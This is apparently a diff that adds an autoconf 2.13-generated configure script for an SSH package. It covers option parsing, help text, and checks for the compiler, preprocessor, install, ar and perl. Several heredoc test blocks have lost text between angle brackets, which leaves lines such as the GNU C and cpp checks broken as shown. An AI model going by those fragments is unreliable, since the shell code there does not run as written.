+ { echo "configure: error: $ac_feature: invalid feature name" 1>&2; exit 1; } + fi + ac_feature=`echo $ac_feature| sed 's/-/_/g'` + case "$ac_option" in + *=*) ;; + *) ac_optarg=yes ;; + esac + eval "enable_${ac_feature}='$ac_optarg'" ;; + + -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \ + | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \ + | --exec | --exe | --ex) + ac_prev=exec_prefix ;; + -exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=* \ + | --exec-pref=* | --exec-pre=* | --exec-pr=* | --exec-p=* | --exec-=* \ + | --exec=* | --exe=* | --ex=*) + exec_prefix="$ac_optarg" ;; + + -gas | --gas | --ga | --g) + # Obsolete; use --with-gas. + with_gas=yes ;; + + -help | --help | --hel | --he) + # Omit some internal or obsolete options to make the list less imposing. + # This message is too long to be a string in the A/UX 3.1 sh. + cat << EOF +Usage: configure [options] [host] +Options: [defaults in brackets after descriptions] +Configuration: + --cache-file=FILE cache test results in FILE + --help print this message + --no-create do not create output files + --quiet, --silent do not print \`checking...' messages + --version print the version of autoconf that created configure +Directory and file names: + --prefix=PREFIX install architecture-independent files in PREFIX + [$ac_default_prefix] + --exec-prefix=EPREFIX install architecture-dependent files in EPREFIX + [same as prefix] + --bindir=DIR user executables in DIR [EPREFIX/bin] + --sbindir=DIR system admin executables in DIR [EPREFIX/sbin] + --libexecdir=DIR program executables in DIR [EPREFIX/libexec] + --datadir=DIR read-only architecture-independent data in DIR + [PREFIX/share] + --sysconfdir=DIR read-only single-machine data in DIR [PREFIX/etc] + --sharedstatedir=DIR modifiable architecture-independent data in DIR + [PREFIX/com] + --localstatedir=DIR modifiable single-machine data in DIR [PREFIX/var] + --libdir=DIR object code libraries in DIR [EPREFIX/lib] + --includedir=DIR C header files in DIR [PREFIX/include] + --oldincludedir=DIR C header files for non-gcc in DIR [/usr/include] + --infodir=DIR info documentation in DIR [PREFIX/info] + --mandir=DIR man documentation in DIR [PREFIX/man] + --srcdir=DIR find the sources in DIR [configure dir or ..] + --program-prefix=PREFIX prepend PREFIX to installed program names + --program-suffix=SUFFIX append SUFFIX to installed program names + --program-transform-name=PROGRAM + run sed PROGRAM on installed program names +EOF + cat << EOF +Host type: + --build=BUILD configure for building on BUILD [BUILD=HOST] + --host=HOST configure for HOST [guessed] + --target=TARGET configure for TARGET [TARGET=HOST] +Features and packages: + --disable-FEATURE do not include FEATURE (same as --enable-FEATURE=no) + --enable-FEATURE[=ARG] include FEATURE [ARG=yes] + --with-PACKAGE[=ARG] use PACKAGE [ARG=yes] + --without-PACKAGE do not use PACKAGE (same as --with-PACKAGE=no) + --x-includes=DIR X include files are in DIR + --x-libraries=DIR X library files are in DIR +EOF + if test -n "$ac_help"; then + echo "--enable and --with options recognized:$ac_help" + fi + exit 0 ;; + + -host | --host | --hos | --ho) + ac_prev=host ;; + -host=* | --host=* | --hos=* | --ho=*) + host="$ac_optarg" ;; + + -includedir | --includedir | --includedi | --included | --include \ + | --includ | --inclu | --incl | --inc) + ac_prev=includedir ;; + -includedir=* | --includedir=* | --includedi=* | --included=* | --include=* \ + | --includ=* | --inclu=* | --incl=* | --inc=*) + includedir="$ac_optarg" ;; + + -infodir | --infodir | --infodi | --infod | --info | --inf) + ac_prev=infodir ;; + -infodir=* | --infodir=* | --infodi=* | --infod=* | --info=* | --inf=*) + infodir="$ac_optarg" ;; + + -libdir | --libdir | --libdi | --libd) + ac_prev=libdir ;; + -libdir=* | --libdir=* | --libdi=* | --libd=*) + libdir="$ac_optarg" ;; + + -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \ + | --libexe | --libex | --libe) + ac_prev=libexecdir ;; + -libexecdir=* | --libexecdir=* | --libexecdi=* | --libexecd=* | --libexec=* \ + | --libexe=* | --libex=* | --libe=*) + libexecdir="$ac_optarg" ;; + + -localstatedir | --localstatedir | --localstatedi | --localstated \ + | --localstate | --localstat | --localsta | --localst \ + | --locals | --local | --loca | --loc | --lo) + ac_prev=localstatedir ;; + -localstatedir=* | --localstatedir=* | --localstatedi=* | --localstated=* \ + | --localstate=* | --localstat=* | --localsta=* | --localst=* \ + | --locals=* | --local=* | --loca=* | --loc=* | --lo=*) + localstatedir="$ac_optarg" ;; + + -mandir | --mandir | --mandi | --mand | --man | --ma | --m) + ac_prev=mandir ;; + -mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* | --m=*) + mandir="$ac_optarg" ;; + + -nfp | --nfp | --nf) + # Obsolete; use --without-fp. + with_fp=no ;; + + -no-create | --no-create | --no-creat | --no-crea | --no-cre \ + | --no-cr | --no-c) + no_create=yes ;; + + -no-recursion | --no-recursion | --no-recursio | --no-recursi \ + | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r) + no_recursion=yes ;; + + -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \ + | --oldinclude | --oldinclud | --oldinclu | --oldincl | --oldinc \ + | --oldin | --oldi | --old | --ol | --o) + ac_prev=oldincludedir ;; + -oldincludedir=* | --oldincludedir=* | --oldincludedi=* | --oldincluded=* \ + | --oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=* \ + | --oldin=* | --oldi=* | --old=* | --ol=* | --o=*) + oldincludedir="$ac_optarg" ;; + + -prefix | --prefix | --prefi | --pref | --pre | --pr | --p) + ac_prev=prefix ;; + -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*) + prefix="$ac_optarg" ;; + + -program-prefix | --program-prefix | --program-prefi | --program-pref \ + | --program-pre | --program-pr | --program-p) + ac_prev=program_prefix ;; + -program-prefix=* | --program-prefix=* | --program-prefi=* \ + | --program-pref=* | --program-pre=* | --program-pr=* | --program-p=*) + program_prefix="$ac_optarg" ;; + + -program-suffix | --program-suffix | --program-suffi | --program-suff \ + | --program-suf | --program-su | --program-s) + ac_prev=program_suffix ;; + -program-suffix=* | --program-suffix=* | --program-suffi=* \ + | --program-suff=* | --program-suf=* | --program-su=* | --program-s=*) + program_suffix="$ac_optarg" ;; + + -program-transform-name | --program-transform-name \ + | --program-transform-nam | --program-transform-na \ + | --program-transform-n | --program-transform- \ + | --program-transform | --program-transfor \ + | --program-transfo | --program-transf \ + | --program-trans | --program-tran \ + | --progr-tra | --program-tr | --program-t) + ac_prev=program_transform_name ;; + -program-transform-name=* | --program-transform-name=* \ + | --program-transform-nam=* | --program-transform-na=* \ + | --program-transform-n=* | --program-transform-=* \ + | --program-transform=* | --program-transfor=* \ + | --program-transfo=* | --program-transf=* \ + | --program-trans=* | --program-tran=* \ + | --progr-tra=* | --program-tr=* | --program-t=*) + program_transform_name="$ac_optarg" ;; + + -q | -quiet | --quiet | --quie | --qui | --qu | --q \ + | -silent | --silent | --silen | --sile | --sil) + silent=yes ;; + + -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb) + ac_prev=sbindir ;; + -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \ + | --sbi=* | --sb=*) + sbindir="$ac_optarg" ;; + + -sharedstatedir | --sharedstatedir | --sharedstatedi \ + | --sharedstated | --sharedstate | --sharedstat | --sharedsta \ + | --sharedst | --shareds | --shared | --share | --shar \ + | --sha | --sh) + ac_prev=sharedstatedir ;; + -sharedstatedir=* | --sharedstatedir=* | --sharedstatedi=* \ + | --sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \ + | --sharedst=* | --shareds=* | --shared=* | --share=* | --shar=* \ + | --sha=* | --sh=*) + sharedstatedir="$ac_optarg" ;; + + -site | --site | --sit) + ac_prev=site ;; + -site=* | --site=* | --sit=*) + site="$ac_optarg" ;; + + -srcdir | --srcdir | --srcdi | --srcd | --src | --sr) + ac_prev=srcdir ;; + -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*) + srcdir="$ac_optarg" ;; + + -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \ + | --syscon | --sysco | --sysc | --sys | --sy) + ac_prev=sysconfdir ;; + -sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* | --sysconf=* \ + | --syscon=* | --sysco=* | --sysc=* | --sys=* | --sy=*) + sysconfdir="$ac_optarg" ;; + + -target | --target | --targe | --targ | --tar | --ta | --t) + ac_prev=target ;; + -target=* | --target=* | --targe=* | --targ=* | --tar=* | --ta=* | --t=*) + target="$ac_optarg" ;; + + -v | -verbose | --verbose | --verbos | --verbo | --verb) + verbose=yes ;; + + -version | --version | --versio | --versi | --vers) + echo "configure generated by autoconf version 2.13" + exit 0 ;; + + -with-* | --with-*) + ac_package=`echo $ac_option|sed -e 's/-*with-//' -e 's/=.*//'` + # Reject names that are not valid shell variable names. + if test -n "`echo $ac_package| sed 's/[-_a-zA-Z0-9]//g'`"; then + { echo "configure: error: $ac_package: invalid package name" 1>&2; exit 1; } + fi + ac_package=`echo $ac_package| sed 's/-/_/g'` + case "$ac_option" in + *=*) ;; + *) ac_optarg=yes ;; + esac + eval "with_${ac_package}='$ac_optarg'" ;; + + -without-* | --without-*) + ac_package=`echo $ac_option|sed -e 's/-*without-//'` + # Reject names that are not valid shell variable names. + if test -n "`echo $ac_package| sed 's/[-a-zA-Z0-9_]//g'`"; then + { echo "configure: error: $ac_package: invalid package name" 1>&2; exit 1; } + fi + ac_package=`echo $ac_package| sed 's/-/_/g'` + eval "with_${ac_package}=no" ;; + + --x) + # Obsolete; use --with-x. + with_x=yes ;; + + -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \ + | --x-incl | --x-inc | --x-in | --x-i) + ac_prev=x_includes ;; + -x-includes=* | --x-includes=* | --x-include=* | --x-includ=* | --x-inclu=* \ + | --x-incl=* | --x-inc=* | --x-in=* | --x-i=*) + x_includes="$ac_optarg" ;; + + -x-libraries | --x-libraries | --x-librarie | --x-librari \ + | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l) + ac_prev=x_libraries ;; + -x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=* \ + | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*) + x_libraries="$ac_optarg" ;; + + -*) { echo "configure: error: $ac_option: invalid option; use --help to show usage" 1>&2; exit 1; } + ;; + + *) + if test -n "`echo $ac_option| sed 's/[-a-z0-9.]//g'`"; then + echo "configure: warning: $ac_option: invalid host type" 1>&2 + fi + if test "x$nonopt" != xNONE; then + { echo "configure: error: can only configure for one host and one target at a time" 1>&2; exit 1; } + fi + nonopt="$ac_option" + ;; + + esac +done + +if test -n "$ac_prev"; then + { echo "configure: error: missing argument to --`echo $ac_prev | sed 's/_/-/g'`" 1>&2; exit 1; } +fi + +trap 'rm -fr conftest* confdefs* core core.* *.core $ac_clean_files; exit 1' 1 2 15 + +# File descriptor usage: +# 0 standard input +# 1 file creation +# 2 errors and warnings +# 3 some systems may open it to /dev/tty +# 4 used on the Kubota Titan +# 6 checking for... messages and results +# 5 compiler messages saved in config.log +if test "$silent" = yes; then + exec 6>/dev/null +else + exec 6>&1 +fi +exec 5>./config.log + +echo "\ +This file contains any messages produced by compilers while +running configure, to aid debugging if configure makes a mistake. +" 1>&5 + +# Strip out --no-create and --no-recursion so they do not pile up. +# Also quote any args containing shell metacharacters. +ac_configure_args= +for ac_arg +do + case "$ac_arg" in + -no-create | --no-create | --no-creat | --no-crea | --no-cre \ + | --no-cr | --no-c) ;; + -no-recursion | --no-recursion | --no-recursio | --no-recursi \ + | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r) ;; + *" "*|*" "*|*[\[\]\~\#\$\^\&\*\(\)\{\}\\\|\;\<\>\?]*) + ac_configure_args="$ac_configure_args '$ac_arg'" ;; + *) ac_configure_args="$ac_configure_args $ac_arg" ;; + esac +done + +# NLS nuisances. +# Only set these to C if already set. These must not be set unconditionally +# because not all systems understand e.g. LANG=C (notably SCO). +# Fixing LC_MESSAGES prevents Solaris sh from translating var values in `set'! +# Non-C LC_CTYPE values break the ctype check. +if test "${LANG+set}" = set; then LANG=C; export LANG; fi +if test "${LC_ALL+set}" = set; then LC_ALL=C; export LC_ALL; fi +if test "${LC_MESSAGES+set}" = set; then LC_MESSAGES=C; export LC_MESSAGES; fi +if test "${LC_CTYPE+set}" = set; then LC_CTYPE=C; export LC_CTYPE; fi + +# confdefs.h avoids OS command line length limits that DEFS can exceed. +rm -rf conftest* confdefs.h +# AIX cpp loses on an empty file, so make sure it contains at least a newline. +echo > confdefs.h + +# A filename unique to this package, relative to the directory that +# configure is in, which we can look for to find out if srcdir is correct. +ac_unique_file=ssh.c + +# Find the source files, if location was not specified. +if test -z "$srcdir"; then + ac_srcdir_defaulted=yes + # Try the directory containing this script, then its parent. + ac_prog=$0 + ac_confdir=`echo $ac_prog|sed 's%/[^/][^/]*$%%'` + test "x$ac_confdir" = "x$ac_prog" && ac_confdir=. + srcdir=$ac_confdir + if test ! -r $srcdir/$ac_unique_file; then + srcdir=.. + fi +else + ac_srcdir_defaulted=no +fi +if test ! -r $srcdir/$ac_unique_file; then + if test "$ac_srcdir_defaulted" = yes; then + { echo "configure: error: can not find sources in $ac_confdir or .." 1>&2; exit 1; } + else + { echo "configure: error: can not find sources in $srcdir" 1>&2; exit 1; } + fi +fi +srcdir=`echo "${srcdir}" | sed 's%\([^/]\)/*$%\1%'` + +# Prefer explicitly selected file to automatically selected ones. +if test -z "$CONFIG_SITE"; then + if test "x$prefix" != xNONE; then + CONFIG_SITE="$prefix/share/config.site $prefix/etc/config.site" + else + CONFIG_SITE="$ac_default_prefix/share/config.site $ac_default_prefix/etc/config.site" + fi +fi +for ac_site_file in $CONFIG_SITE; do + if test -r "$ac_site_file"; then + echo "loading site script $ac_site_file" + . "$ac_site_file" + fi +done + +if test -r "$cache_file"; then + echo "loading cache $cache_file" + . $cache_file +else + echo "creating cache $cache_file" + > $cache_file +fi + +ac_ext=c +# CFLAGS is not in ac_cpp because -g, -O, etc. are not valid cpp options. +ac_cpp='$CPP $CPPFLAGS' +ac_compile='${CC-cc} -c $CFLAGS $CPPFLAGS conftest.$ac_ext 1>&5' +ac_link='${CC-cc} -o conftest${ac_exeext} $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS 1>&5' +cross_compiling=$ac_cv_prog_cc_cross + +ac_exeext= +ac_objext=o +if (echo "testing\c"; echo 1,2,3) | grep c >/dev/null; then + # Stardent Vistra SVR4 grep lacks -e, says ghazi@caip.rutgers.edu. + if (echo -n testing; echo 1,2,3) | sed s/-n/xn/ | grep xn >/dev/null; then + ac_n= ac_c=' +' ac_t=' ' + else + ac_n=-n ac_c= ac_t= + fi +else + ac_n= ac_c='\c' ac_t= +fi + + + + +# Extract the first word of "gcc", so it can be a program name with args. +set dummy gcc; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:592: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_prog_CC'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_prog_CC="gcc" + break + fi + done + IFS="$ac_save_ifs" +fi +fi +CC="$ac_cv_prog_CC" +if test -n "$CC"; then + echo "$ac_t""$CC" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + +if test -z "$CC"; then + # Extract the first word of "cc", so it can be a program name with args. +set dummy cc; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:622: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_prog_CC'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_prog_rejected=no + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + if test "$ac_dir/$ac_word" = "/usr/ucb/cc"; then + ac_prog_rejected=yes + continue + fi + ac_cv_prog_CC="cc" + break + fi + done + IFS="$ac_save_ifs" +if test $ac_prog_rejected = yes; then + # We found a bogon in the path, so make sure we never use it. + set dummy $ac_cv_prog_CC + shift + if test $# -gt 0; then + # We chose a different compiler from the bogus one. + # However, it has the same basename, so the bogon will be chosen + # first if we set CC to just the basename; use the full file name. + shift + set dummy "$ac_dir/$ac_word" "$@" + shift + ac_cv_prog_CC="$@" + fi +fi +fi +fi +CC="$ac_cv_prog_CC" +if test -n "$CC"; then + echo "$ac_t""$CC" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$CC"; then + case "`uname -s`" in + *win32* | *WIN32*) + # Extract the first word of "cl", so it can be a program name with args. +set dummy cl; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:673: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_prog_CC'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_prog_CC="cl" + break + fi + done + IFS="$ac_save_ifs" +fi +fi +CC="$ac_cv_prog_CC" +if test -n "$CC"; then + echo "$ac_t""$CC" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + ;; + esac + fi + test -z "$CC" && { echo "configure: error: no acceptable cc found in \$PATH" 1>&2; exit 1; } +fi + +echo $ac_n "checking whether the C compiler ($CC $CFLAGS $LDFLAGS) works""... $ac_c" 1>&6 +echo "configure:705: checking whether the C compiler ($CC $CFLAGS $LDFLAGS) works" >&5 + +ac_ext=c +# CFLAGS is not in ac_cpp because -g, -O, etc. are not valid cpp options. +ac_cpp='$CPP $CPPFLAGS' +ac_compile='${CC-cc} -c $CFLAGS $CPPFLAGS conftest.$ac_ext 1>&5' +ac_link='${CC-cc} -o conftest${ac_exeext} $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS 1>&5' +cross_compiling=$ac_cv_prog_cc_cross + +cat > conftest.$ac_ext << EOF + +#line 716 "configure" +#include "confdefs.h" + +main(){return(0);} +EOF +if { (eval echo configure:721: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + ac_cv_prog_cc_works=yes + # If we can't run a trivial program, we are probably using a cross compiler. + if (./conftest; exit) 2>/dev/null; then + ac_cv_prog_cc_cross=no + else + ac_cv_prog_cc_cross=yes + fi +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + ac_cv_prog_cc_works=no +fi +rm -fr conftest* +ac_ext=c +# CFLAGS is not in ac_cpp because -g, -O, etc. are not valid cpp options. +ac_cpp='$CPP $CPPFLAGS' +ac_compile='${CC-cc} -c $CFLAGS $CPPFLAGS conftest.$ac_ext 1>&5' +ac_link='${CC-cc} -o conftest${ac_exeext} $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS 1>&5' +cross_compiling=$ac_cv_prog_cc_cross + +echo "$ac_t""$ac_cv_prog_cc_works" 1>&6 +if test $ac_cv_prog_cc_works = no; then + { echo "configure: error: installation or configuration problem: C compiler cannot create executables." 1>&2; exit 1; } +fi +echo $ac_n "checking whether the C compiler ($CC $CFLAGS $LDFLAGS) is a cross-compiler""... $ac_c" 1>&6 +echo "configure:747: checking whether the C compiler ($CC $CFLAGS $LDFLAGS) is a cross-compiler" >&5 +echo "$ac_t""$ac_cv_prog_cc_cross" 1>&6 +cross_compiling=$ac_cv_prog_cc_cross + +echo $ac_n "checking whether we are using GNU C""... $ac_c" 1>&6 +echo "configure:752: checking whether we are using GNU C" >&5 +if eval "test \"`echo '$''{'ac_cv_prog_gcc'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.c <&5; (eval $ac_try) 2>&5; }; } | egrep yes >/dev/null 2>&1; then + ac_cv_prog_gcc=yes +else + ac_cv_prog_gcc=no +fi +fi + +echo "$ac_t""$ac_cv_prog_gcc" 1>&6 + +if test $ac_cv_prog_gcc = yes; then + GCC=yes +else + GCC= +fi + +ac_test_CFLAGS="${CFLAGS+set}" +ac_save_CFLAGS="$CFLAGS" +CFLAGS= +echo $ac_n "checking whether ${CC-cc} accepts -g""... $ac_c" 1>&6 +echo "configure:780: checking whether ${CC-cc} accepts -g" >&5 +if eval "test \"`echo '$''{'ac_cv_prog_cc_g'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + echo 'void f(){}' > conftest.c +if test -z "`${CC-cc} -g -c conftest.c 2>&1`"; then + ac_cv_prog_cc_g=yes +else + ac_cv_prog_cc_g=no +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_prog_cc_g" 1>&6 +if test "$ac_test_CFLAGS" = set; then + CFLAGS="$ac_save_CFLAGS" +elif test $ac_cv_prog_cc_g = yes; then + if test "$GCC" = yes; then + CFLAGS="-g -O2" + else + CFLAGS="-g" + fi +else + if test "$GCC" = yes; then + CFLAGS="-O2" + else + CFLAGS= + fi +fi + +ac_aux_dir= +for ac_dir in $srcdir $srcdir/.. $srcdir/../..; do + if test -f $ac_dir/install-sh; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/install-sh -c" + break + elif test -f $ac_dir/install.sh; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/install.sh -c" + break + fi +done +if test -z "$ac_aux_dir"; then + { echo "configure: error: can not find install-sh or install.sh in $srcdir $srcdir/.. $srcdir/../.." 1>&2; exit 1; } +fi +ac_config_guess=$ac_aux_dir/config.guess +ac_config_sub=$ac_aux_dir/config.sub +ac_configure=$ac_aux_dir/configure # This should be Cygnus configure. + + +# Make sure we can run config.sub. +if ${CONFIG_SHELL-/bin/sh} $ac_config_sub sun4 >/dev/null 2>&1; then : +else { echo "configure: error: can not run $ac_config_sub" 1>&2; exit 1; } +fi + +echo $ac_n "checking host system type""... $ac_c" 1>&6 +echo "configure:837: checking host system type" >&5 + +host_alias=$host +case "$host_alias" in +NONE) + case $nonopt in + NONE) + if host_alias=`${CONFIG_SHELL-/bin/sh} $ac_config_guess`; then : + else { echo "configure: error: can not guess host type; you must specify one" 1>&2; exit 1; } + fi ;; + *) host_alias=$nonopt ;; + esac ;; +esac + +host=`${CONFIG_SHELL-/bin/sh} $ac_config_sub $host_alias` +host_cpu=`echo $host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'` +host_vendor=`echo $host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'` +host_os=`echo $host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'` +echo "$ac_t""$host" 1>&6 + + +# Checks for programs. +echo $ac_n "checking how to run the C preprocessor""... $ac_c" 1>&6 +echo "configure:860: checking how to run the C preprocessor" >&5 +# On Suns, sometimes $CPP names a directory. +if test -n "$CPP" && test -d "$CPP"; then + CPP= +fi +if test -z "$CPP"; then +if eval "test \"`echo '$''{'ac_cv_prog_CPP'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + # This must be in double quotes, not single quotes, because CPP may get + # substituted into the Makefile and "${CC-cc}" will confuse make. + CPP="${CC-cc} -E" + # On the NeXT, cc -E runs the code through the compiler's parser, + # not just through cpp. + cat > conftest.$ac_ext < +Syntax Error +EOF +ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" +{ (eval echo configure:881: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } +ac_err=`grep -v '^ *+' conftest.out | grep -v "^conftest.${ac_ext}\$"` +if test -z "$ac_err"; then + : +else + echo "$ac_err" >&5 + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + CPP="${CC-cc} -E -traditional-cpp" + cat > conftest.$ac_ext < +Syntax Error +EOF +ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" +{ (eval echo configure:898: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } +ac_err=`grep -v '^ *+' conftest.out | grep -v "^conftest.${ac_ext}\$"` +if test -z "$ac_err"; then + : +else + echo "$ac_err" >&5 + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + CPP="${CC-cc} -nologo -E" + cat > conftest.$ac_ext < +Syntax Error +EOF +ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" +{ (eval echo configure:915: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } +ac_err=`grep -v '^ *+' conftest.out | grep -v "^conftest.${ac_ext}\$"` +if test -z "$ac_err"; then + : +else + echo "$ac_err" >&5 + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + CPP=/lib/cpp +fi +rm -f conftest* +fi +rm -f conftest* +fi +rm -f conftest* + ac_cv_prog_CPP="$CPP" +fi + CPP="$ac_cv_prog_CPP" +else + ac_cv_prog_CPP="$CPP" +fi +echo "$ac_t""$CPP" 1>&6 + +# Extract the first word of "ranlib", so it can be a program name with args. +set dummy ranlib; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:942: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_prog_RANLIB'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test -n "$RANLIB"; then + ac_cv_prog_RANLIB="$RANLIB" # Let the user override the test. +else + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_prog_RANLIB="ranlib" + break + fi + done + IFS="$ac_save_ifs" + test -z "$ac_cv_prog_RANLIB" && ac_cv_prog_RANLIB=":" +fi +fi +RANLIB="$ac_cv_prog_RANLIB" +if test -n "$RANLIB"; then + echo "$ac_t""$RANLIB" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + +# Find a good install program. We prefer a C program (faster), +# so one script is as good as another. But avoid the broken or +# incompatible versions: +# SysV /etc/install, /usr/sbin/install +# SunOS /usr/etc/install +# IRIX /sbin/install +# AIX /bin/install +# AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag +# AFS /usr/afsws/bin/install, which mishandles nonexistent args +# SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff" +# ./install, which can be erroneously created by make from ./install.sh. +echo $ac_n "checking for a BSD compatible install""... $ac_c" 1>&6 +echo "configure:981: checking for a BSD compatible install" >&5 +if test -z "$INSTALL"; then +if eval "test \"`echo '$''{'ac_cv_path_install'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + IFS="${IFS= }"; ac_save_IFS="$IFS"; IFS=":" + for ac_dir in $PATH; do + # Account for people who put trailing slashes in PATH elements. + case "$ac_dir/" in + /|./|.//|/etc/*|/usr/sbin/*|/usr/etc/*|/sbin/*|/usr/afsws/bin/*|/usr/ucb/*) ;; + *) + # OSF1 and SCO ODT 3.0 have their own names for install. + # Don't use installbsd from OSF since it installs stuff as root + # by default. + for ac_prog in ginstall scoinst install; do + if test -f $ac_dir/$ac_prog; then + if test $ac_prog = install && + grep dspmsg $ac_dir/$ac_prog >/dev/null 2>&1; then + # AIX install. It has an incompatible calling convention. + : + else + ac_cv_path_install="$ac_dir/$ac_prog -c" + break 2 + fi + fi + done + ;; + esac + done + IFS="$ac_save_IFS" + +fi + if test "${ac_cv_path_install+set}" = set; then + INSTALL="$ac_cv_path_install" + else + # As a last resort, use the slow shell script. We don't cache a + # path for INSTALL within a source directory, because that will + # break other packages using the cache if that directory is + # removed, or if the path is relative. + INSTALL="$ac_install_sh" + fi +fi +echo "$ac_t""$INSTALL" 1>&6 + +# Use test -z because SunOS4 sh mishandles braces in ${var-val}. +# It thinks the first close brace ends the variable substitution. +test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}' + +test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL_PROGRAM}' + +test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644' + +# Extract the first word of "ar", so it can be a program name with args. +set dummy ar; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:1036: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_prog_AR'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test -n "$AR"; then + ac_cv_prog_AR="$AR" # Let the user override the test. +else + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_prog_AR="ar" + break + fi + done + IFS="$ac_save_ifs" +fi +fi +AR="$ac_cv_prog_AR" +if test -n "$AR"; then + echo "$ac_t""$AR" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + +# Extract the first word of "perl", so it can be a program name with args. +set dummy perl; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:1065: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PERL'+set}'`\" = set"; then + echo 